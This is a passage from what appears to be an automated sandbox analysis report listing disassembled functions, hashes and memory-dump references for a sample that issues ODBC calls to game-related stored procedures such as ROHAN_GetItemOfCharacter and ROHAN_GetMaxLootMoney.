                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_GetItemOfCharacter] (?)}
                                                                                                                            • API String ID: 0-2437505128
                                                                                                                            • Opcode ID: fdb37e59cf5ba2b77e31ca1f47e2f597dc3ea08b18d235770ea65255e8021d19
                                                                                                                            • Instruction ID: 25abc788708ad938164c49917f986b1aa90f61538bbb663bf6833fba4303cb55
                                                                                                                            • Opcode Fuzzy Hash: fdb37e59cf5ba2b77e31ca1f47e2f597dc3ea08b18d235770ea65255e8021d19
                                                                                                                            • Instruction Fuzzy Hash: 421100F1A44218ABEB20CF54CC42FAA7374EB44718F108289F7686A2C4D7B5A9448F5C
                                                                                                                            Function 0042C76E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_DelItem]( ? )},000000FD), ref: 0042C78E
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042C7CD
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042C805
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_DelItem]( ? )}, xrefs: 0042C785
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_DelItem]( ? )}
                                                                                                                            • API String ID: 0-2813541423
                                                                                                                            • Opcode ID: a9d3a094de4c18615735ff103fe3523389179005eaac3ffd0286658fcbfdac29
                                                                                                                            • Instruction ID: 707ff6a2f5378757073d536e8392b129c0e242acebfecd124aa6431bc0f9b790
                                                                                                                            • Opcode Fuzzy Hash: a9d3a094de4c18615735ff103fe3523389179005eaac3ffd0286658fcbfdac29
                                                                                                                            • Instruction Fuzzy Hash: 901103F5644214ABEB648F44CC42F9B7334EB85714F208299F71C2B2C5C57569808B5C
                                                                                                                            Function 0043E821 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_HonorPvPCronRealTime](?)},000000FD), ref: 0043E841
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043E880
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043E8B8
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_HonorPvPCronRealTime](?)}, xrefs: 0043E838
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_HonorPvPCronRealTime](?)}
                                                                                                                            • API String ID: 0-1235316946
                                                                                                                            • Opcode ID: 0501add0b6689dbbb95fcef0d3ffbace9547b8d11678e779e8c84f423b8308a2
                                                                                                                            • Instruction ID: 1e5493717cc5b9c445aa48692fe8803974ac656cdff961c3a8f87d3cd5209f2b
                                                                                                                            • Opcode Fuzzy Hash: 0501add0b6689dbbb95fcef0d3ffbace9547b8d11678e779e8c84f423b8308a2
                                                                                                                            • Instruction Fuzzy Hash: F11125B5A40218BBEB28CF44CC42FDA7374EB85F14F208289F7146E2C4D6B56D408F88
                                                                                                                            Function 004428FC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_ViolenceDuel_GetCharInfo] (?)},000000FD), ref: 0044291C
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0044295E
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00442993
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_ViolenceDuel_GetCharInfo] (?)}, xrefs: 00442913
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_ViolenceDuel_GetCharInfo] (?)}
                                                                                                                            • API String ID: 0-3839866921
                                                                                                                            • Opcode ID: cdcf2f16ce7911006111f3eec46f648559e2a5af5aee4bca3b28cc789681cc81
                                                                                                                            • Instruction ID: 074be44c189fcf4734a65258d49db216d9f4b74c849fdb3adc468a0fca7438b1
                                                                                                                            • Opcode Fuzzy Hash: cdcf2f16ce7911006111f3eec46f648559e2a5af5aee4bca3b28cc789681cc81
                                                                                                                            • Instruction Fuzzy Hash: 8F1182B0A40218ABEB20CF05CC42FDA7374EB48719F108285F7146F2D1D1B1AD418B48
                                                                                                                            Function 0043D8B6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_GetMaxRevengeID] (?)},000000FD), ref: 0043D8D6
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043D915
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043D94D
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_GetMaxRevengeID] (?)}, xrefs: 0043D8CD
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_GetMaxRevengeID] (?)}
                                                                                                                            • API String ID: 0-1888541422
                                                                                                                            • Opcode ID: 6c8a82fb7f083deede18d03557995cd73123011fba86b05107f336f0b5f29643
                                                                                                                            • Instruction ID: a897dd4d1888d2b253497160e478be1943c82f2df6bcb7542ce50e5e648f3e54
                                                                                                                            • Opcode Fuzzy Hash: 6c8a82fb7f083deede18d03557995cd73123011fba86b05107f336f0b5f29643
                                                                                                                            • Instruction Fuzzy Hash: 951100B4A44258ABEF24CF54CC52FE97374EB44714F108289F798AB2C4DAF569809F68
                                                                                                                            Function 004359F6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_GetMaxLootBox](?)},000000FD), ref: 00435A16
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00435A55
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00435A8D
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_GetMaxLootBox](?)}, xrefs: 00435A0D
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_GetMaxLootBox](?)}
                                                                                                                            • API String ID: 0-2496041405
                                                                                                                            • Opcode ID: 65c80c1cb47d763901dd4a40259a08483187e876948c142b84ab0abe1a7ddeaa
                                                                                                                            • Instruction ID: 3afc4e431548a448dca2f1931ea92fdd991a458715b4acf8ad62215eb3541ae0
                                                                                                                            • Opcode Fuzzy Hash: 65c80c1cb47d763901dd4a40259a08483187e876948c142b84ab0abe1a7ddeaa
                                                                                                                            • Instruction Fuzzy Hash: F7110CB4B54218ABEB24DF44CC52FAA7334EB85718F208289F7582E2C4C7B56940CF59
                                                                                                                            Function 00435A97 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_GetMaxLootMoney](?)},000000FD), ref: 00435AB7
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00435AF6
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00435B2E
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_GetMaxLootMoney](?)}, xrefs: 00435AAE
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_GetMaxLootMoney](?)}
                                                                                                                            • API String ID: 0-3264818900
                                                                                                                            • Opcode ID: 3a3e6fdcd55a636b33c2bc44892e1761333c6cd15f8bb3df17660292ae0e653a
                                                                                                                            • Instruction ID: ab8ffbfe7fe1fdf796c39e739fca5705ed467bef370198113e9f09684a896bee
                                                                                                                            • Opcode Fuzzy Hash: 3a3e6fdcd55a636b33c2bc44892e1761333c6cd15f8bb3df17660292ae0e653a
                                                                                                                            • Instruction Fuzzy Hash: D511FAB0B44218BFEB24CF44CC52FAA7734EB45B18F108289F7596A2C0D7B569408F59
                                                                                                                            Function 0043A146 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_GetCharTitleList] (?)},000000FD), ref: 0043A166
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043A1A5
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043A1DA
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_GetCharTitleList] (?)}, xrefs: 0043A15D
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
